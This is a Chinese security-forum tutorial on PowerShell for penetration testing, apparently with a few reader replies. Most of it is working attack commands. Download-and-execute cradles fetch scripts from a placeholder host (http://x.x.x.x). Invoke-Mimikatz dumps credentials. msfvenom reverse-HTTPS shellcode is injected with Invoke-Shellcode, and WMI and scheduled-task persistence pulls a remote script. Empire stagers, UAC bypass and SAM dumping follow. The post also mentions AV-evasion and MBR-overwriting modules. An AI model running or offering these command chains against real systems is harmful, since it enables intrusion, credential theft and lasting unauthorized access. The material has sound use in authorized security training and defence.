首页
社区
课程
招聘
[原创]渗透测试中PowerShell的基本使用
发表于: 2021-2-6 14:13 2158

[原创]渗透测试中PowerShell的基本使用

2021-2-6 14:13
2158

一、加载PowerShell脚本

1.PowerShell的执行限制

大多数环境中,默认不允许使用未签名的PowerShell脚本。

 

使用下面这条命令可以查看当前执行策略:
cmd:powershell -command Get-ExecutionPolicy

 

执行策略有四种:
Restricted: 只能运行系统PowerShell命令。要运行自定义命令,只能使用PowerShell交互式模式

 

AllSigned: 带有可信发布者签名的所有脚本都可运行。
RemoteSigned:仅带有可信发布者签名的已下载脚本才能运行。
Unrestricted:不受限制。可执行所有的脚本。
使用如下命令可以更改策略
cmd:powershell -command Set-ExecutionPolicy Unrestricted

 

注意:在很多环境中,该值由组策略强制实施。在此类情形中,更改策略并不容易。

2.在命令行上传递命令

以一个简单的WMI查询为例
cmd:powershell -com Get-WmiObject win32_computersystem
回显如下:

Domain : WORKGROUP
Manufacturer : VMware, Inc.
Model : VMware7,1
Name : DESKTOP-MFPO4MO
PrimaryOwnerName : Windows User
TotalPhysicalMemory : 4293902336

 

当使用管道时需要双引号:
如;
powershell -com "Get-WmiObject win32_computersystem | select username"

3.编码命令

PowerShell有一个简便模式,只要脚本不是过长,允许Base64编码的字符串作为脚本进行传递并运行。windows命令行命令的总长度约为8000个字符,因此8000个字符就是上限。

 

为了创建编码命令,必须经过几处更改。首先PowerShell的encodedcommand选项使用base64编码的unicode字符串,,因此首先需要将文本转化为Unicode,然后编码为Base64,可使用Eric Monti开发的Ruby BlackBag的工具箱。首先在linux下安装Ruby工具箱:gem install rbkb

 

然后
echo -n "Get-WMIObject win32_computersystem | select username" | iconv -f ASCII -t UTF-16LE | b64
得到

RwBlAHQALQBXAE0ASQBPAGIAagBlAGMAdAAgAHcAaQBuADMAMgBfAGMAbwBtAHAAdQB0AGUAcgBzAHkAcwB0AGUAbQAgAHwAIABzAGUAbABlAGMAdAAgAHUAcwBlAHIAbgBhAG0AZQA=

 

cmd中执行
powershell -enc RwBlAHQALQBXAE0ASQBPAGIAagBlAGMAdAAgAHcAaQBuADMAMgBfAGMAbwBtAHAAdQB0AGUAcgBzAHkAcwB0AGUAbQAgAHwAIABzAGUAbABlAGMAdAAgAHUAcwBlAHIAbgBhAG0AZQA=
因此可以通过编码的方式构建脚本,传递给powershell,这样可以不用考虑脚本执行受阻的问题了。

4.通过web启动

对于复杂的脚本,进行编码未必是最佳做法。另一个做法是将脚本放在网站上,加载脚本,然后在代码中启动。PowerShell中的函数Invoke—Expression和Invoke—WebRequest可帮助完成这项任务。
Invoke—WebRequest函数默认使用IE引擎,在不包含该引擎的计算机中,需采取变通的方法,确保可以获取到网页。可以使用-UserBasicParsing选项告诉函数不要分析结果,只返回内容。
例如:
powershell -com IEX(iwi -UserBasicParsing http://0.0.0.0/test.ps1)

二、PowerSploit的简单使用

PowerSploit是一个工具集,可帮助渗透测试人员创建立足点,并在环境中逐步升级。这些工具也包含在其他框架中。
这些工具可帮助建立shell,在进程中注入代码,以及检测和反制病毒软件等,一旦在环境中建立了访问,就可以利用这些工具逐步升级,并导出关键系统信息。

1.安装:

git clone https://github.com/PowerShellMafia/PowerSploit.git

 

AntivirusBypass子目录包含的脚本有助于确定反病毒软件会将哪些二进制文件确定为恶意软件。可用此处的脚本将二进制文件分成几个部分,然后运行反病毒软件。尽量缩小范围。由此可确定需要对二进制文件中的哪些字节进行修改以绕过AV签名检测。
CodeExecution子目录包含可使shellcode进入内存的不同实用工具。其中一些技术包括DLL注入、对进程的shellcode注入,反射注入,使用WMI的远程主机注入。可以将shellcode注入系统。
Exfiltration文件夹中的工具可帮助获取系统信息。还剋复制锁定的文件,从Mimikatz获取数据等。
Mayhem子目录中的脚本将使用选定的消息覆盖系统的主启动记录(MBR)。
Persistence目录包含的工具可帮助管理员维持对系统的访问。有很多持续访问的机制,包括注册表、VMI和调度任务。这些工具可以创建持续访问,包括普通用户级以及经过权限提升的级别:这样一来,无论需要什么访问级别,都可在目标上方便的实现。
Privesc目录包含的工具有助于提升访问权限。
Recon目录用于信息收集。

2.使用示例

使用示例1:运行Mimikatz

首先加载脚本
powershell -com iex(iwr -UserbasicParsing http://x.x.x.x/ps/Exfiltration/Invoke-Mimikatz.ps1)
再运行
Invoke-Mimidogz
如遇到Mimikatz命令执行权限受限,可使用如下脚本提权:
powershell -com iex(iwr -UserbasicParsing http://x.x.x.x/ps/Privesc/Get-System.ps1

使用示例2:创建持续访问

使用msf生成攻击载荷,
msf > use muilti/handler
msf exploit(handler) > set payload
......
msfvenom -p windows/x64/meterpreter/reverse_https --format c LHOST=x.x.x.x | tr -d "\n\";" | sed -e 's/\\x/,0x/g' | cut -f 2- -d ','

 

然后加载脚本:
powershell -com iex(iwr -UserbasicParsing http://x.x.x.x/ps/CodeExecution/Invoke-Shellcode.ps1
执行shellcode:
Invoke-Shellcode -Shellcode <shellcode created from msfvenom>
为建立持续的访问,需要执行以下几个步骤(本例使用WMI):
将以上两条命令封装在一个脚本中,名叫bs.ps1
$sb = [ScriptBlock]::Create((New-Object Net.WebClient).downloadString("http://x.x.x.x/bs.ps1"))
$elev = New-ElevatedPersistenceOption -PermanentWMI -AtStartup
$user = New-UserPersistenceOption -ScheduledTask -OnIdle
Add-Persistence -ScriptBlock $sb $elev -UserPersistenceOption $user -Verbose

三、Empire的简单使用

1.安装:

git clone https://github.com/EmpireProject/Empire.git
cd Empire
setup/install.sh

2.示例

使用示例1:使用Empire执行命令和控制

按装Empire后,需要创建一个侦听器和一个stager。利用stager,就可以在目标系统中执行C2。侦听器从受到攻击的系统接受通信。测试人员为特定的通信协议设置一个特定的侦听器。在本例中,将使用基于http的侦听器,以便从C2返回的连接看上去是web通信。
首先设置侦听器:
进入Empire程序后
(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listener/http) > execute
此时启动侦听器,下一步创建启动文件。为此,返回到主菜单,选择一个stager,如下所示:
(Empire: listener/http) > back
(Empire: listener) > back
(Empire) > usestager windows/launcher_bat
(Empire: stager windows/launcher_bat) > set Listener http
(Empire: stager windows/launcher_bat) > generate
为stager选择windows/launcher_bat模块。这样可以利用PowerShell命令在目标系统上进行复制和粘贴,从而启动C2。

使用示例2:使用Empire攻克系统

/tmp/launcher.bat有三行代码。使用第二行。
start /b powershell -noP -sta -w l -enc SQBmACg......
这将启动PowerShell载荷。一旦启动命令,就可在Empire控制台看到窗口活动信息。
选择相应的代理:
(Empire: agents) > interact xxxxx

 

与代理交互提权:
(Empire: xxxxxx) > use module privesc/bypassuac
(Empire: powershell/privesc/bypassuac) > set Listener http
(Empire: powershell/privesc/bypassuac) > execute
下一步通过提权后的代理交互:
(Empire: agents) > interact xxxxx
(Empire: xxxxxx) > usemodule privesc/getsystem*
执行credentials下的mimikatz/sam模块以获取SAM转储:
(Empire: powershell/privesc/getsystem) > use module powershell/credentials/mimikatz/sam
(Empire: powershell/credentials/mimikatz/sam) > execute
添加持续化访问:
(Empire: powershell/credentials/mimikatz/sam) > use module powershell/persistence/elevated/wmi
(Empire: powershell/persistence/elevated/wmi) > set Listener http
(Empire: powershell/persistence/elevated/wmi) > execute


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 225
活跃值: (294)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
这一句有错误, echo -n "Get-WMIObject win32_computersystem | select username" | iconv -f ASCII -t UTF-16LE | b64                                                                                                                                                           b64 : 无法将“b64”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径正确,然后再试一次。
所在位置 行:1 字符: 95
+ ... _computersystem | select username" | iconv -f ASCII -t UTF-16LE | b64
+                                                                       ~~~
    + CategoryInfo          : ObjectNotFound: (b64:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
2021-4-9 11:28
0
雪    币: 8208
活跃值: (2668)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
3
qiluword 这一句有错误, echo -n "Get-WMIObject win32_computersystem | select username" | iconv -f ASCII -t ...
多谢指出,我仔细看一下。
2021-4-9 19:56
0
雪    币: 8208
活跃值: (2668)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
4
qiluword 这一句有错误, echo -n "Get-WMIObject win32_computersystem | select username" | iconv -f ASCII -t ...
这个需要安装一个ruby工具箱,kali的安装命令是gem install rbkb
2021-4-9 20:02
0
游客
登录 | 注册 方可回帖
返回
//